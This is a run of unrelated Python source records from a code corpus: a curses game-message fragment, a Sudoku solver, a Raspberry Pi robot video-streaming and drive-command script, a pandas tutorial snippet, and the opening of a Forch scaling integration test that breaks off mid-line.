центре экрана.\n \n :param canvas: [description]\n :type canvas: [type]\n '''\n y_max, x_max = canvas.getmaxyx()\n length, width = get_frame_size(game_оver)\n row = y_max // 2 - length\n column = x_max // 2 - width\n\n while True:\n draw_frame(canvas, row, column, game_оver)\n await asyncio.sleep(0)\n\n\nasync def draw_year(canvas):\n ''' Отрисовать текущий год и достижение (если было). \n \n :param canvas: [description]\n :type canvas: [type]\n '''\n global space_globals\n y_max, x_max = canvas.getmaxyx()\n row = y_max - 2\n column = x_max // 2\n while True:\n year_frame = space_globals.year_frame\n draw_frame(canvas, row, column, year_frame)\n await asyncio.sleep(0)\n draw_frame(canvas, row, column, year_frame, negative=True)\n","sub_path":"space_cleaner/tools/game_messages.py","file_name":"game_messages.py","file_ext":"py","file_size_in_byte":1396,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"600886474","text":"board = input(\"Enter the board row by row in a single string. Dots (.) as blanks \")\n# ranges for iterating through rows cols and units\nr1 = list(range(0,9))\nr2= list(range(9,18))\nr3= list(range(18,27))\nr4= list(range(27,36))\nr5= list(range(36,45))\nr6= list(range(45,54))\nr7= list(range(54,63))\nr8= list(range(63,72))\nr9= list(range(72,81))\nglobal row_ranges \nrow_ranges = [r1,r2,r3,r4,r5,r6,r7,r8,r9]\n\nc1 = list(range(0,81,9))\nc2 = list(range(1,81,9))\nc3 = list(range(2,81,9))\nc4 = list(range(3,81,9))\nc5 = list(range(4,81,9))\nc6 = list(range(5,81,9))\nc7 = list(range(6,81,9))\nc8 = list(range(7,81,9))\nc9 = list(range(8,81,9))\nglobal rngc\nrngc = c1+c2+c3+c4+c5+c6+c7+c8+c9\nglobal col_ranges\ncol_ranges = [c1,c2,c3,c4,c5,c6,c7,c8,c9]\n\n\nu1 = sorted(list(range(0,81,9))+list(range(1,81,9))+list(range(2,81,9)))[0:9]\nu2 = sorted(list(range(3,81,9))+list(range(4,81,9))+list(range(5,81,9)))[0:9]\nu3 = sorted(list(range(6,81,9))+list(range(7,81,9))+list(range(8,81,9)))[0:9]\nu4 = sorted(list(range(0,81,9))+list(range(1,81,9))+list(range(2,81,9)))[9:18]\nu5 = sorted(list(range(3,81,9))+list(range(4,81,9))+list(range(5,81,9)))[9:18]\nu6 = sorted(list(range(6,81,9))+list(range(7,81,9))+list(range(8,81,9)))[9:18]\nu7 = sorted(list(range(0,81,9))+list(range(1,81,9))+list(range(2,81,9)))[18:27]\nu8 = sorted(list(range(3,81,9))+list(range(4,81,9))+list(range(5,81,9)))[18:27]\nu9 = sorted(list(range(6,81,9))+list(range(7,81,9))+list(range(8,81,9)))[18:27]\nglobal u\nu = [u1,u2,u3,u4,u5,u6,u7,u8,u9]\n\n# make parallel lists\nr = list()\nc = list()\nuu = list()\na = list()\ndigits = \"123456789\"\nfor i in range(len(board)):\n\tif board[i] != \".\": # if given\n\t\ta.append(board[i])\t# add the number\n\t\tr.append(i//9)\t\t# record row\n\t\tc.append(i%9)\t\t# record column\n\t\tuu.append(sum(u,[]).index(i)//9) # record unit\n\telse:\n\t\ta.append(digits)\t# add all digits, since all are possible at this point\n\t\tr.append(i//9)\t\t# record row\n\t\tc.append(i%9)\t\t# record column\n\t\tuu.append(sum(u,[]).index(i)//9) # record unit\n\n# eliminate\ndef eliminate(row,col,unit,num):\n\tprint(\"Eliminating\")\n\t# eliminate in the rows\n\tr = list() # master\n\trr = list() # recycled\n\tfor k in range(0,81):\t \t\t# for each cell\n\t\tif (len(num[k]) == 1):\t\t# if the cell is already decided on add that to the list\n\t\t\trr.append(num[k])\n\t\tif (k%9 == 8):\t\t\t\t# at the end of the row, add to master list and recycle\n\t\t\tr.append(rr)\n\t\t\trr = list()\n\tfor e in range(0,81):\t\t\t# for each cell\n\t\tif (len(num[e]) > 1):\t\t# if the cell isnt decided on\n\t\t\tt = list(num[e])\t\t# make a list of the possible numbers\n\t\t\tt2 = r[e//9]\t\t\t# get list of numbers that cant be there because they are spoken for in other cells in that row\n\t\t\tfor l in t2:\n\t\t\t\ttry:\n\t\t\t\t\tt.remove(l)\t\t# remove them\n\t\t\t\texcept ValueError:\n\t\t\t\t\tpass\n\t\t\tnum[e] = \"\".join(t)\t\t# reassign the possible numbers\n\t# eliminate in the columns # comments similar to above, the code is very similar.\n\tc = list() # master\n\tcc = list() # recycled\n\t# specific numbers so loop runs the rows\n\tfor k2 in rngc:\n\t\tif (len(num[k2]) == 1):\n\t\t\tcc.append(num[k2])\n\t\tif (rngc.index(k2)%9 == 8):\n\t\t\tc.append(cc)\n\t\t\tcc = list()\n\tfor e2 in rngc:\n\t\tif (len(num[e2]) > 1):\n\t\t\tt = list(num[e2])\n\t\t\tt2 = c[e2%9]\n\t\t\tfor l in t2:\n\t\t\t\ttry:\n\t\t\t\t\tt.remove(l)\n\t\t\t\texcept ValueError:\n\t\t\t\t\tpass\n\t\t\tnum[e2] = \"\".join(t)\n\t# eliminate in the units\n\t# similar comments to above, very similar code\n\tit = list()\n\titt = list()\n\tfor u_s in u:\n\t\tfor us2 in u_s:\n\t\t\tif (len(num[us2]) == 1):\n\t\t\t\titt.append(num[us2])\n\t\tit.append(itt)\n\t\titt = list()\n\tfor u_list in range(0,9):\n\t\tfor u2 in u[u_list]:\n\t\t\tif (len(num[u2]) > 1):\n\t\t\t\tt = list(num[u2])\n\t\t\t\tt2 = it[u_list]\n\t\t\t\tfor l in t2:\n\t\t\t\t\ttry:\n\t\t\t\t\t\tt.remove(l)\n\t\t\t\t\texcept ValueError:\n\t\t\t\t\t\tpass\n\t\t\t\tnum[u2] = \"\".join(t)\n\t#print(num)\n\t\t\t\ndef select(row,col,unit,num):\n\tprint(\"Selecting\")\n\t# pick out numbers that are the only cell in the row/col/unit to have that number\n\t# select in the rows\n\tr = list() # master\n\trr = \"\" # recycled\n\tfor k in range(0,81):\t\t\t\t\t\t\t\t\t\t\t\t# for all cells\n\t\tif (len(num[k]) > 1):\t\t\t\t\t\t\t\t\t\t\t# if the cell isnt called for\n\t\t\trr = rr + num[k]\t\t\t\t\t\t\t\t\t\t\t# add its possibilities to the string\n\t\tif (k%9 == 8):\t\t\t\t\t\t\t\t\t\t\t\t\t# at the end of the row\n\t\t\tr.append([x for x in list(rr) if list(rr).count(x)==1])\t\t# parse the string to pick out numbers that only occured once\n\t\t\trr = \"\"\t\t\t\t\t\t\t\t\t\t\t\t\t\t# recycle\n\tfor rs in range(0,9):\t\t\t\t\t\t\t\t\t\t\t\t# for each row\n\t\tfor r_sel in r[rs]:\t\t\t\t# add a aspecial elim in for col and unit\t\t\t\t\t\t\t\t# for each selected number\n\t\t\tfor sqr in range((rs*9),(rs*9+9)):\t\t\t\t\t\t\t# for each square in that row\n\t\t\t\tif r_sel in num[sqr]:\t\t\t\t\t\t\t\t\t# if the cell contains the selected number\n\t\t\t\t\tnum[sqr] = r_sel\t\t\t\t\t\t\t\t\t# assign that number to the cell\n\t\t\t\t\tc_elim = col[sqr]\n\t\t\t\t\tu_elim = unit[sqr]\n\t\t\t\t\tfor itr in range(0,81):\n\t\t\t\t\t\tif ((col[itr] == c_elim or unit[itr] == u_elim) and len(num[itr]) > 1):\n\t\t\t\t\t\t\ttt = list(num[itr])\n\t\t\t\t\t\t\ttry:\n\t\t\t\t\t\t\t\ttt.remove(r_sel)\n\t\t\t\t\t\t\texcept ValueError:\n\t\t\t\t\t\t\t\tpass\n\t\t\t\t\t\t\tnum[itr] = \"\".join(tt)\n\t\t\t\t\tbreak\t\t\t\t\t\t\t\t\t\t\t\t# break the loop cause the search is over\n\t\n\t# select in the columns\t\t\t\t\t\t\t\t\t\t\t\t# similar comments as above, very similar code\n\tc = list() # master\n\tcc = \"\" # recycled\n\trngc = list(range(0,81,9))+list(range(1,81,9))+list(range(2,81,9))+list(range(3,81,9))+list(range(4,81,9))+list(range(5,81,9))+list(range(6,81,9))+list(range(7,81,9))+list(range(8,81,9))\n\tfor k2 in rngc:\n\t\tif (len(num[k2]) > 1):\n\t\t\tcc = cc + num[k2]\n\t\tif (rngc.index(k2)%9 == 8):\n\t\t\tc.append([x2 for x2 in list(cc) if list(cc).count(x2)==1])\n\t\t\tcc = \"\"\n\tfor cs in range(0,9):\t\t\t\t\t\t\t\t\t\t\t\n\t\tfor c_sel in c[cs]:\n\t\t\tfor sqr in rngc[(cs*9):(cs*9+9)]:\n\t\t\t\tif c_sel in num[sqr]:\n\t\t\t\t\tnum[sqr] = c_sel\t\t\t\t\t\t\t\t\t# assign that number to the cell\n\t\t\t\t\tr_elim = row[sqr]\n\t\t\t\t\tu_elim = unit[sqr]\n\t\t\t\t\tfor itr2 in range(0,81):\n\t\t\t\t\t\tif ((row[itr2] == r_elim or unit[itr2] == u_elim)and len(num[itr2]) > 1):\n\t\t\t\t\t\t\ttt = list(num[itr2])\n\t\t\t\t\t\t\ttry:\n\t\t\t\t\t\t\t\ttt.remove(c_sel)\n\t\t\t\t\t\t\texcept ValueError:\n\t\t\t\t\t\t\t\tpass\n\t\t\t\t\t\t\tnum[itr2] = \"\".join(tt)\n\t\t\t\t\tbreak\n\t\t\t\t\t\n\t# selection in the units,\t\t\t\t\t\t\t\t# similar commets as above, very similar code\n\tU = list()\n\tuu = \"\"\n\tu1 = sorted(list(range(0,81,9))+list(range(1,81,9))+list(range(2,81,9)))[0:9]\n\tu2 = sorted(list(range(3,81,9))+list(range(4,81,9))+list(range(5,81,9)))[0:9]\n\tu3 = sorted(list(range(6,81,9))+list(range(7,81,9))+list(range(8,81,9)))[0:9]\n\tu4 = sorted(list(range(0,81,9))+list(range(1,81,9))+list(range(2,81,9)))[9:18]\n\tu5 = sorted(list(range(3,81,9))+list(range(4,81,9))+list(range(5,81,9)))[9:18]\n\tu6 = sorted(list(range(6,81,9))+list(range(7,81,9))+list(range(8,81,9)))[9:18]\n\tu7 = sorted(list(range(0,81,9))+list(range(1,81,9))+list(range(2,81,9)))[18:27]\n\tu8 = sorted(list(range(3,81,9))+list(range(4,81,9))+list(range(5,81,9)))[18:27]\n\tu9 = sorted(list(range(6,81,9))+list(range(7,81,9))+list(range(8,81,9)))[18:27]\n\tu = [u1,u2,u3,u4,u5,u6,u7,u8,u9]\n\tfor u_s in u:\n\t\tfor us2 in u_s:\n\t\t\tif (len(num[us2]) > 1):\n\t\t\t\tuu = uu + num[us2]\n\t\tU.append([x3 for x3 in list(uu) if list(uu).count(x3)==1])\n\t\tuu = \"\"\n\tfor us in range(0,9):\t\t\t\t\t\t\t\t\t\t\t\n\t\tfor u_sel in U[us]:\n\t\t\tfor sqr in u[us]:\n\t\t\t\tif u_sel in num[sqr]:\n\t\t\t\t\tnum[sqr] = u_sel\t\t\t# assign that number to the cell\t\n\t\t\t\t\tr_elim = row[sqr]\n\t\t\t\t\tc_elim = col[sqr]\n\t\t\t\t\tfor itr3 in range(0,81):\n\t\t\t\t\t\tif ((row[itr3] == r_elim or col[itr3] == c_elim)and len(num[itr3]) > 1):\n\t\t\t\t\t\t\ttt = list(num[itr3])\n\t\t\t\t\t\t\ttry:\n\t\t\t\t\t\t\t\ttt.remove(u_sel)\n\t\t\t\t\t\t\texcept ValueError:\n\t\t\t\t\t\t\t\tpass\n\t\t\t\t\t\t\tnum[itr3] = \"\".join(tt)\n\t\t\t\t\tbreak\n\t#print(num)\n\t\n\t\ndef channel(row,col,unit,num):\n\t#within a unit, look in th rows and find sets of 2 or 3 of a single number in only 1 row of the unit. save them and elimminate that number form that row in all units that share that row.\n\t# channeling within the rows\n\tprint(\"Channeling\")\n\tsave_r = []\n\tfor unt in u:\n\t\ttemp_save = [\"\"]*3 # one for each of the 3 rows in the unit\n\t\tword_lst = [\"\",\"\",\"\"]\n\t\tfor cell in unt:\n\t\t\tif len(num[cell])>1:\n\t\t\t\tword_lst[row[cell]%3] = word_lst[row[cell]%3]+num[cell]\n\t\tseen1 = set()\n\t\tseen1_add = seen1.add\n\t\tlisted1 = word_lst[0]\n\t\tu_listed1 = [x for x in listed1 if not (x in seen1 or seen1_add(x))]\n\t\tseen2 = set()\n\t\tseen2_add = seen2.add\n\t\tlisted2 = word_lst[1]\n\t\tu_listed2 = [x for x in listed2 if not (x in seen2 or seen2_add(x))]\n\t\tseen3 = set()\n\t\tseen3_add = seen3.add\n\t\tlisted3 = word_lst[2]\n\t\tu_listed3 = [x for x in listed3 if not (x in seen3 or seen3_add(x))]\n\t\tfor i in range(1,10):\n\t\t\tif (u_listed1+u_listed2+u_listed3).count(str(i)) == 1:\n\t\t\t\tif str(i) in u_listed1:\n\t\t\t\t\ttemp_save[0] = temp_save[0] + str(i)\n\t\t\t\telif str(i) in u_listed2:\n\t\t\t\t\ttemp_save[1] = temp_save[1] + str(i)\n\t\t\t\telse:\n\t\t\t\t\ttemp_save[2] = temp_save[2] + str(i)\n\t\tsave_r.append(temp_save[0])\n\t\tsave_r.append(temp_save[1])\n\t\tsave_r.append(temp_save[2])\n\t\n\t# channeling in the columns\n\tu_by_col1 = list(range(0,81,9))[0:3]+list(range(1,81,9))[0:3]+list(range(2,81,9))[0:3]\n\tu_by_col2 = list(range(3,81,9))[0:3]+list(range(4,81,9))[0:3]+list(range(5,81,9))[0:3]\n\tu_by_col3 = list(range(6,81,9))[0:3]+list(range(7,81,9))[0:3]+list(range(8,81,9))[0:3]\n\tu_by_col4 = list(range(0,81,9))[3:6]+list(range(1,81,9))[3:6]+list(range(2,81,9))[3:6]\n\tu_by_col5 = list(range(3,81,9))[3:6]+list(range(4,81,9))[3:6]+list(range(5,81,9))[3:6]\n\tu_by_col6 = list(range(6,81,9))[3:6]+list(range(7,81,9))[3:6]+list(range(8,81,9))[3:6]\n\tu_by_col7 = list(range(0,81,9))[6:9]+list(range(1,81,9))[6:9]+list(range(2,81,9))[6:9]\n\tu_by_col8 = list(range(3,81,9))[6:9]+list(range(4,81,9))[6:9]+list(range(5,81,9))[6:9]\n\tu_by_col9 = list(range(6,81,9))[6:9]+list(range(7,81,9))[6:9]+list(range(8,81,9))[6:9]\n\t\n\tu_by_col = [u_by_col1,u_by_col2,u_by_col3,u_by_col4,u_by_col5,u_by_col6,u_by_col7,u_by_col8,u_by_col9]\n\tsave_c = []\n\tfor unt in u_by_col:\n\t\ttemp_save = [\"\"]*3 # one for each of the 3 cols in the unit\n\t\tword_lst = [\"\",\"\",\"\"]\n\t\tfor cell in unt:\n\t\t\tif len(num[cell])>1:\n\t\t\t\tword_lst[col[cell]%3] = word_lst[col[cell]%3]+num[cell]\n\t\tseen4 = set()\n\t\tseen4_add = seen4.add\n\t\tlisted4 = word_lst[0]\n\t\tu_listed4 = [x for x in listed4 if not (x in seen4 or seen4_add(x))]\n\t\tseen5 = set()\n\t\tseen5_add = seen5.add\n\t\tlisted5 = word_lst[1]\n\t\tu_listed5 = [x for x in listed5 if not (x in seen5 or seen5_add(x))]\n\t\tseen6 = set()\n\t\tseen6_add = seen6.add\n\t\tlisted6 = word_lst[2]\n\t\tu_listed6 = [x for x in listed6 if not (x in seen6 or seen6_add(x))]\n\n\t\tfor i in range(1,10):\n\t\t\tif (u_listed4+u_listed5+u_listed6).count(str(i)) == 1:\n\t\t\t\tif str(i) in u_listed4:\n\t\t\t\t\ttemp_save[0] = temp_save[0] + str(i)\n\t\t\t\telif str(i) in u_listed5:\n\t\t\t\t\ttemp_save[1] = temp_save[1] + str(i)\n\t\t\t\telse:\n\t\t\t\t\ttemp_save[2] = temp_save[2] + str(i)\n\t\tsave_c.append(temp_save[0])\n\t\tsave_c.append(temp_save[1])\n\t\tsave_c.append(temp_save[2])\n\n\t# eliminating the channels from the rows\n\tfor chan in range(27):\n\t\tif save_r[chan] != \"\":\n\t\t\tunt = chan//3\n\t\t\tif chan < 9:\n\t\t\t\trw = chan%3\n\t\t\telif chan < 18:\n\t\t\t\trw = (chan-9)%3 + 3\n\t\t\telse:\n\t\t\t\trw = (chan-18)%3 + 6\n\t\t\tif unt < 3:\n\t\t\t\tunt_not = [0,1,2]\n\t\t\t\tunt_not.remove(unt)\n\t\t\telif unt < 6:\n\t\t\t\tunt_not = [3,4,5,]\n\t\t\t\tunt_not.remove(unt)\n\t\t\telse:\n\t\t\t\tunt_not = [6,7,8]\n\t\t\t\tunt_not.remove(unt)\n\t\t\tfor x in range(0,81):\n\t\t\t\tif (row[x] == rw and (unit[x] == unt_not[0] or unit[x] == unt_not[1]) and len(num[x]) > 1):\n\t\t\t\t\ttt = list(num[x])\n\t\t\t\t\tif len(save_r[chan]) > 1:\n\t\t\t\t\t\tfor k in save_r[chan]:\n\t\t\t\t\t\t\ttry:\n\t\t\t\t\t\t\t\ttt.remove(k)\n\t\t\t\t\t\t\texcept ValueError:\n\t\t\t\t\t\t\t\tpass\n\t\t\t\t\telse:\n\t\t\t\t\t\ttry:\n\t\t\t\t\t\t\ttt.remove(save_r[chan])\n\t\t\t\t\t\texcept ValueError:\n\t\t\t\t\t\t\tpass\n\t\t\t\t\tnum[x] = \"\".join(tt)\n\t\t\t\t\t\n\t# eliminating the channels from the columns\n\tfor chan in range(27):\n\t\tif save_c[chan] != \"\":\n\t\t\tunt = chan//3\n\t\t\tcl = chan%9\n\t\t\tif unt == 0 or unt == 3 or unt == 6: \n\t\t\t\tunt_not = [0,3,6]\n\t\t\t\tunt_not.remove(unt)\n\t\t\telif unt == 1 or unt == 4 or unt == 7: \n\t\t\t\tunt_not = [1,4,7,]\n\t\t\t\tunt_not.remove(unt)\n\t\t\telse: \n\t\t\t\tunt_not = [2,5,8]\n\t\t\t\tunt_not.remove(unt)\n\t\t\tfor x in range(0,81):\n\t\t\t\tif (col[x] == cl and (unit[x] == unt_not[0] or unit[x] == unt_not[1]) and len(num[x]) > 1):\n\t\t\t\t\ttt = list(num[x])\n\t\t\t\t\tif len(save_c[chan]) > 1:\n\t\t\t\t\t\tfor k in save_c[chan]:\n\t\t\t\t\t\t\ttry:\n\t\t\t\t\t\t\t\ttt.remove(k)\n\t\t\t\t\t\t\texcept ValueError:\n\t\t\t\t\t\t\t\tpass\n\t\t\t\t\telse:\n\t\t\t\t\t\ttry:\n\t\t\t\t\t\t\ttt.remove(save_c[chan])\n\t\t\t\t\t\texcept ValueError:\n\t\t\t\t\t\t\tpass\n\t\t\t\t\tnum[x] = \"\".join(tt)\n\t\n#def omission() # see http://www.learn-sudoku.com/omission.html \t\n#def hidden_pair() # see http://www.sudokuessentials.com/sudoku_tips.html\t\n\t\t\n# main\t\t\t\na_copy = list()\t\t\t\t\t\t# make space for a reference copy of a\nwhile (a_copy != a):\t\t\t\t# while the refence isnt equal to the current best guess\n\twhile (a_copy != a):\t\t\t# still, while the refence isnt equal to the current best guess\n\t\ta_copy = a[:]\t\t\t\t# assign the new reference\n\t\teliminate(r,c,uu,a)\t\t\t# eliminate\n\tif len(\"\".join(a)) > 81:\t\t# if solved skip selection\n\t\tselect(r,c,uu,a)\t\t\t# if not solved, go into selection\n\t\tif len(\"\".join(a)) > 81 and a == a_copy:\t# if still not solved and selection did nothing\n\t\t\tchannel(r,c,uu,a)\n\n# a pretty display\n\nif len(\"\".join(a)) == 81: # if solved\n\tfor i in range(0,81,3):\n\t\tif i%27 == 0 and i != 0 :\n\t\t\tprint(\"-----------------\")\n\t\tif (i+3)%9 == 0:\n\t\t\tprint(\"%s %s %s\" %(\"\".join(a[i]),\"\".join(a[i+1]),\"\".join(a[i+2])))\n\t\telse:\n\t\t\tprint(\"%s %s %s\" %(\"\".join(a[i]),\"\".join(a[i+1]),\"\".join(a[i+2])),end = \"|\")\nelse:\n\tprint(a)\n\n#print(a)","sub_path":"sudo.py","file_name":"sudo.py","file_ext":"py","file_size_in_byte":13251,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"418713409","text":"\nimport numpy as np\nimport cv2\nimport socket\nimport time\nimport os\nimport threading\nfrom config import *\nSIGMA = 0.33\n\nmap1, map2 = cv2.fisheye.initUndistortRectifyMap(K, D, np.eye(3), K, DIM, cv2.CV_16SC2)\n\nclass VideoStreaming(threading.Thread):\n def __init__(self,threadID, name,input_size):\n print(\"串流线程初始化...\")\n threading.Thread.__init__(self)\n self.server_socket = socket.socket()\n self.server_socket.bind((PC, streaming_port))\n self.server_socket.listen(0)\n self.connection, self.client_address = self.server_socket.accept()\n print(self.connection, self.client_address)\n self.connection = self.connection.makefile('rb')\n self.threadID = threadID\n self.name = name\n self.host_name = socket.gethostname()\n self.host_ip = socket.gethostbyname(self.host_name)\n self.thread_stop = False \n self.input_size = input_size\n self.send_inst =True\n self.k = np.zeros((3, 4), 'float')\n\n self.frame = 0\n self.saved_frame = 0\n self.total_frame = 0\n self.clicks_forward = 0\n self.clicks_left = 0\n self.clicks_right = 0\n self.stream_bytes = b' '\n self.clicks_total = 0\n self.img_num = 0\n self.last_time = 0\n self.currunt_time = 0\n self.file_name = ''\n self.jpg = b' '\n self.image = None\n \n \n #X = np.empty((0, self.input_size)) 数据集先储存为图片,训练时再转换成np.arrary\n self.y = np.empty((0, 4))\n for i in range(3):\n self.k[i, i] = 1\n def run(self): #Overwrite run() method, put what you want the thread do here \n if not self.thread_stop: \n print(\"线程\"+self.name+\"开始运行\")\n self.streaming()\n\n def stop(self): \n self.thread_stop = True \n print(\"线程\"+self.name+\"结束\")\n def auto_canny(self, blurred):\n # Compute the median of the single channel pixel intensities\n global SIGMA\n v = np.median(blurred)\n\n # Apply automatic Canny edge detection using the computed median of the image\n lower = int(max(0, (1.0 - SIGMA) * v))\n upper = int(min(255, (1.0 + SIGMA) * v))\n edged = cv2.Canny(blurred, lower, upper)\n return edged\n\n def streaming(self):\n\n # collect images for training\n print(\"Host: \", self.host_name + ' ' + self.host_ip)\n print(\"Connection from: \", self.client_address)\n print(\"Start collecting images...\")\n print(\"Press 'q' or 'x' to finish...\")\n start = cv2.getTickCount()\n\n\n # stream video frames one by one\n try:\n \n self.frame = 1\n \n while self.send_inst:\n self.stream_bytes += self.connection.read(9102)\n \n first = self.stream_bytes.find(b'\\xff\\xd8')\n last = self.stream_bytes.find(b'\\xff\\xd9')\n\n if first != -1 and last != -1:\n self.jpg = self.stream_bytes[first:last + 2]\n self.stream_bytes = self.stream_bytes[last + 2:]\n self.image = cv2.imdecode(np.frombuffer(self.jpg, dtype=np.uint8), cv2.IMREAD_GRAYSCALE)\n #self.image = cv2.remap(self.image,map1,map2, interpolation= cv2.INTER_LINEAR, borderMode=cv2.BORDER_CONSTANT)\n self.clicks_total = self.clicks_forward + self.clicks_left + self.clicks_right\n cv2.putText(self.image, \"FW: {}, LT: {}, RT: {}, TOTAL: {}\".format(self.clicks_forward, \n self.clicks_left, \n self.clicks_right, self.clicks_total\n ), (10, 30), cv2.FONT_HERSHEY_SIMPLEX, .45, (255, 255, 0), 1)\n # select lower half of the image\n #height, width = image.shape 不在collect里处理图片了,训练之前预处理再说\n #roi = image[int(height/2):height, :]\n #cv2.imshow('image', self.image)\n img_roi = self.image[roi[0]:roi[1], :]\n blurred = cv2.GaussianBlur(img_roi, (3, 3), 0)\n # Apply Canny filter\n auto = self.auto_canny(blurred) \n cv2.namedWindow('img', cv2.WINDOW_NORMAL)\n #cv2.resizeWindow('img',(roi[1]-roi[0])*800/320, 800)\n cv2.imshow('img',np.vstack([self.image,auto]))\n\n \n \n if self.frame % 300 ==0:\n self.currunt_time = time.time()\n\n print('实时帧率:{}'.format(300/(self.currunt_time-self.last_time)))\n self.last_time = self.currunt_time\n\n \n\n \n\n # reshape the roi image into a vector\n #img_array = roi.reshape(1, int(height/2) * width).astype(np.float32)\n self.frame += 1\n self.total_frame += 1\n #print(np.shape(img_array),np.shape(X))\n #exit()\n key = cv2.waitKeyEx(1)>>16\n if key == 46:\n break\n elif key == -1:\n pass\n else:\n #key_left = 37 key_up = 38 \n #key_right = 39 key_down = 40\n SendCmd.send(key)\n print(key)\n\n\n\n \n\n finally:\n # save data as a numpy file\n end = cv2.getTickCount()\n # calculate streaming duration\n print(\"Streaming duration: , %.2fs\" % ((end - start) / cv2.getTickFrequency()))\n with open('./logs/log_img_collect.txt', 'a') as f:\n f.write('Date: ' + time.strftime('%x') + '\\n')\n f.write('Time: ' + time.strftime('%X') + '\\n')\n f.write('Total images: {}'+ str(self.img_num) + '\\n')\n f.write('Total frames: ' + str(self.total_frame) + '\\n')\n f.write('Saved frames: ' + str(self.saved_frame) + '\\n')\n f.write('Dropped frames: ' + str(self.total_frame - self.saved_frame) + '\\n')\n f.write('Forward clicks: ' + str(self.clicks_forward) + '\\n')\n f.write('Forward-left clicks: ' + str(self.clicks_left) + '\\n')\n f.write('Forward-right clicks: ' + str(self.clicks_right) + '\\n')\n f.write('-----------------------------\\n')\n \n \n print ('Forward clicks: {}'.format( self.clicks_forward))\n print ('Forward-left clicks:{}'.format(self.clicks_left))\n print ('Forward-right clicks: {}'.format(self.clicks_right))\n print ('Total images: {}'.format(self.img_num))\n print ('Total frame:{}'.format(self.total_frame))\n print ('Saved frame:{}'.format(self.saved_frame))\n print ('Dropped frame{}'.format(self.total_frame - self.saved_frame))\n self.file_name = str(int(time.time()))\n try:\n np.savez('training_images/label_array_ORIGINALS_{}.npz'.format(self.file_name), train_labels=self.y)\n except IOError as e:\n print(e)\n print( \"销毁串流线程...\")\n self.connection.close()\n self.server_socket.close()\n def collect_pic(self,key):\n print(self.k)\n for i in range(3):\n self.k[i,3] = self.frame\n if key == KEY_LEFT:\n #print('left')\n #X = np.vstack((X, img_array)) \n cv2.putText(self.image, \"FW: {}, LT: {}, RT: {}, TOTAL: {}\".format(self.clicks_forward, \n self.clicks_left, \n self.clicks_right, self.clicks_total\n ), (10, 30), cv2.FONT_HERSHEY_SIMPLEX, .45, (255, 255, 0), 1)\n cv2.imwrite('./training_images/frame{:>05}.jpg'.format(self.frame), self.image)\n self.y = np.vstack((self.y, self.k[0])) # self.k[0] = [ 1., 0., 0., frame]\n self.clicks_left += 1 \n self.saved_frame += 1\n elif key ==KEY_RIGHT: \n #print('right')\n #X = np.vstack((X, img_array))\n cv2.imwrite('./training_images/frame{:>05}.jpg'.format(self.frame), self.image)\n self.y = np.vstack((self.y, self.k[1])) # self.k[1] = [ 0., 1., 0., frame]\n self.clicks_right += 1\n self.saved_frame += 1\n elif key==KEY_UP:\n #print('forward')\n #X = np.vstack((X, img_array))\n cv2.imwrite('./training_images/frame{:>05}.jpg'.format(self.frame), self.image)\n self.y = np.vstack((self.y, self.k[2])) # self.k[2] = [ 0., 0., 1., frame]\n self.clicks_forward += 1\n self.saved_frame += 1\n self.img_num +=1\n print(self.clicks_left,self.clicks_forward,self.clicks_right)\n\n\n\n\nclass SendCmd():\n def __init__(self):\n self.socket = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)\n self.socket.connect((RasPi,cmd_port))\n self.socket.sendall(b'\\x52\\x53')\n def send(self,key):\n #key_left = 37 key_up = 38 \n #key_right = 39 key_down = 40\n if key==38:\n print(\"Forward\")\n self.socket.sendall(forward)\n Stream.collect_pic(KEY_UP)\n elif key==40:\n print(\"Stop\")\n self.socket.sendall(stop)\n Stream.collect_pic(KEY_DOWN)\n elif key==39:\n print(\"Right\")\n self.socket.sendall(right)\n Stream.collect_pic(KEY_RIGHT)\n elif key==37:\n print(\"Left\")\n self.socket.sendall(left)\n Stream.collect_pic(KEY_LEFT)\n\n\n\n\nif __name__ == '__main__':\n if not os.path.exists(training_path):\n os.makedirs(training_path)\n _size = 120*320\n Stream = VideoStreaming(1,\"串流\",_size)\n SendCmd = SendCmd()\n Stream.start()\n #readkey = Read()\n #Stream = Streaming(_size)\n #threads = []\n #t1 = threading.Thread(target=readkey.run)\n #threads.append(t1)\n #t2 = threading.Thread(target=Stream.streaming)\n #threads.append(t2)\n #for t in threads:\n # t.start()\n #for t in threads:\n # t.join()\n\n \n\n\n \n","sub_path":"RaspberryPi/Robot/my_collect_data.py","file_name":"my_collect_data.py","file_ext":"py","file_size_in_byte":10687,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"244169873","text":"import pandas as pd\nimport matplotlib.pyplot as plt\nfrom matplotlib import style\nstyle.use('ggplot')\nimport numpy as np\n\nweb_stats = {'Day':[1,2,3,4,5,6],\n\t\t\t 'Visitors':[43,53,34,45,64,34],\n\t\t\t'Bounce_Rate':[65,72,62,64,54,66]}\n\ndf = pd.DataFrame(web_stats)\n\n#print(df)\n#print(df.head())\n#print(df.tail())\n#print(df.tail(2))\n\nprint(df.set_index('Day'))\n\n#These are the same\n#df = df.set_index('Day')\ndf.set_index('Day', inplace=True)\n\n\nprint(df.head())\n\n#same\n#print(df['Visitors'])\nprint(df.Visitors)\n\nprint(df[['Bounce_Rate','Visitors']])\n\nprint(df.Visitors.tolist())\n\n\n#This is not valid\n#print(df[['Bounce Rate','Visitors']].tolist())\n\nprint(np.array(df[['Bounce_Rate','Visitors']]))\n\ndf2 = pd.DataFrame(np.array(df[['Bounce_Rate','Visitors']]))\n\nprint(df2)\n","sub_path":"dataAnalysis/pandasTut/pandasIntro.py","file_name":"pandasIntro.py","file_ext":"py","file_size_in_byte":763,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"241899807","text":"\"\"\"Integration test base class for Forch\"\"\"\nimport unittest\nimport time\nimport yaml\n\nfrom integration_base import IntegrationTestBase\nfrom build_config import FaucetConfigGenerator\n\nfrom forch.utils import proto_dict\n\n\nclass FailScaleConfigTest(IntegrationTestBase):\n \"\"\"Test suite for failure modes during scaling\"\"\"\n\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n\n self.devices = 9\n self.switches = 5\n self.sim_setup_cmd = 'bin/setup_scale'\n self.config_path = '/tmp/scale_config'\n\n config = proto_dict(\n 